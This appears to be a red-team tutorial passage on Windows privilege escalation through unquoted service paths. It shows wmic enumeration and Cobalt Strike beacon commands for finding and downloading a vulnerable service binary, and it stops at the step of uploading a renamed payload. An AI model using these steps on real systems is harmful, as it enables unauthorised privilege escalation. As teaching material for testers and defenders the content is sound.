Windows Services typically start up automatically when a computer boots. Services typically are used to start and manage Windows core functionality (Updates, Firewall, Defender, and more). Third part software also may utilize services to manage when and how they run.
Once a service has been updated, it's likely it will have to be restarted for the changes to take place.
Enumerating Services
We can use services.msc or the sc command line tool.
Unqouted service paths can lead to privilege escalation as Windows attempts to read a path, and may interpret the space as a terminator. We of course need write permissions in the directory we're attempting to write.
C:\Program.exe
C:\Program Files\Vulnerable.exe
C:\Program Files\Vulnerable Services\Service.exe
Enumerating Services - Cobalt Strike
wmic
beacon> run wmic service get name, pathname
Name PathName
ALG C:\Windows\System32\alg.exe
AppVClient C:\Windows\system32\AppVClient.exe
Sense "C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe"
[...snip...]
VulnService1 C:\Program Files\Vulnerable Services\Service 1.exe
Payloads to abuse services must be specific "service binaries", because they need to interact with the Service Control Manager. When using the "Generate All Payloads" option, these have svc in the filename. Note: It's recommended to use tcp beacons bound to localhost for privilege escalation.
Navigate to Vulnerable Path
beacon> cd C:\Program Files\Vulnerable Services
beacon> ls
Size Type Last Modified Name
---- ---- ------------- ----
5kb fil 02/23/2021 15:04:13 Service 1.exe
5kb fil 02/23/2021 15:04:13 Service 2.exe
5kb fil 02/23/2021 15:04:13 Service 3.exe
We can download the service binary for more details.
beacon> download Service 3.exe
[*] started download of C:\Program Files\Vuln Services\Service 3.exe (5120 bytes)
[*] download of Service 3.exe is complete
Upload Payload
Now it's time tp upload our payload. We'll rename the payload to the name of the binary used in the service.